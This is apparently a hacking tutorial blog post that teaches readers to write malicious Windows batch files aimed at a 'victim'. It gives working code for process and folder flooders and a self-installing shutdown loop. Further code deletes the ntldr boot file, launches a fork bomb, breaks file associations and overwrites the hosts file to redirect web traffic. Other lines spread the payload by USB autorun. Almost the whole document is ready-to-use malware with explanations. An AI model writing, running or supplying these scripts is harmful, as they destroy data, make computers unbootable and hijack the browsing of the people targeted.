I
could just you give the codes to paste in notepad and ask you to save
files with extension .bat and your deadly batch viruses would be
ready. But instead of that, I have focused on making the basics of batch
files clear and developing the approach to code your own viruses.
What are Batch Files ?
Lets
begin with a simple example , Open your command prompt and change your
current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one
1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'
We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' .
Now delete the folder 'x'.
Lets
do the same thing in an other way. Copy these three commands in
notepad and save file as anything.bat
Now
just double click on this batch file and the same work would be done ,
You will get a folder 'x' on your desktop and folder 'y' in it. This
means the three commands executed line by line when we ran the batch
file
So
a batch file is simply a text containing series of commands which are
executed automatically line by line when the batch file is run.
What can batch viruses do ?
They
can be used to delete the windows files,format data,steal
information,irritate victim, consume CPU resources to affect
performance,disable firewalls,open ports,modify or destroy registry and
for many more purposes.
Now
lets start with simple codes, Just copy the code to notepad and save it
as anything.bat (I am anything you wish but extension must be bat and
save it as 'all files' instead of text files).
Note:
Type 'help' in command prompt to know about some basic commands and to
know about using a particular command , type 'command_name /?' without
quotes.
1. Application Bomber
@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop
This
code when executed will start open different applications like
paint,notepad,command prompt repeatedly, irritating victim and of course
affecting performance.
2. Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x
Here
%random% is a variable that would generate a positive no. randomly. So
this code would make start creating folders whose name can be any
random number.
3.User account flooder
@echo off
:x
net user %random% /add //create user account
goto x
This code would start creating windows user accounts whose names could be any random numbers.
3.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds
Note : Files
in Start up folder gets started automatically when windows starts .
You should first two lines of code in every virus code so that it
would copy itself in startup folder. Start up folder path in Windows 7
is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup
Everytime
the victim would start the computer, the batch file in start up would
run and shutdown the computer immediately. You can remove this virus by
booting the computer in Safe Mode and deleting the batch file from Start
Up folder.
4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply
Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.
Lets make a batch file to
delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file
After running this batch file , system will not reboot and a normal victim would definitely install the windows again.
5. Fork Bomb
%0|%0 //Its percentage zero pipe percentage zero
This
code creates a large number of processes very quickly in order to
saturate the process table of windows. It will just hang the windows .
6. Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything
Every
extension is associated with a filetype like extension ‘exe’ is is
associated with filetype ‘exefile’. To see them, just enter command
‘assoc’ in command prompt.
Above
code changes the association of some extensions to filetype ‘anything’
(means u can write anything) which obviously doesn’t exist. So all exe
(paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t
open properly.
7. DNS Poisoning
There
is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We
can place a website and an IP in front of it. By doing this, we want
our web browser to take us to host located at that IP when that website
name would be entered. I mean request to resolve IP of website is not
sent to Domain Name Server(DNS) if the name of website in hosts file.
@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.
Replace
xxx.xxx.xxx.xxx and www.anything.com with IP address and website of
your choice. You can take/redirect victim to any host located at
specific IP when he would try to log on to specific website or u can
simply block any website by entering its name and any invalid IP
address.
Spreading batch viruses through pen drive -:
Step 1.
Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico
Save file as ‘autorun.inf’
Step
2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in
pendrive .When the victim would plug in pen drive,the autorun.inf will
launch anything.bat and commands in batch file virus would execute.
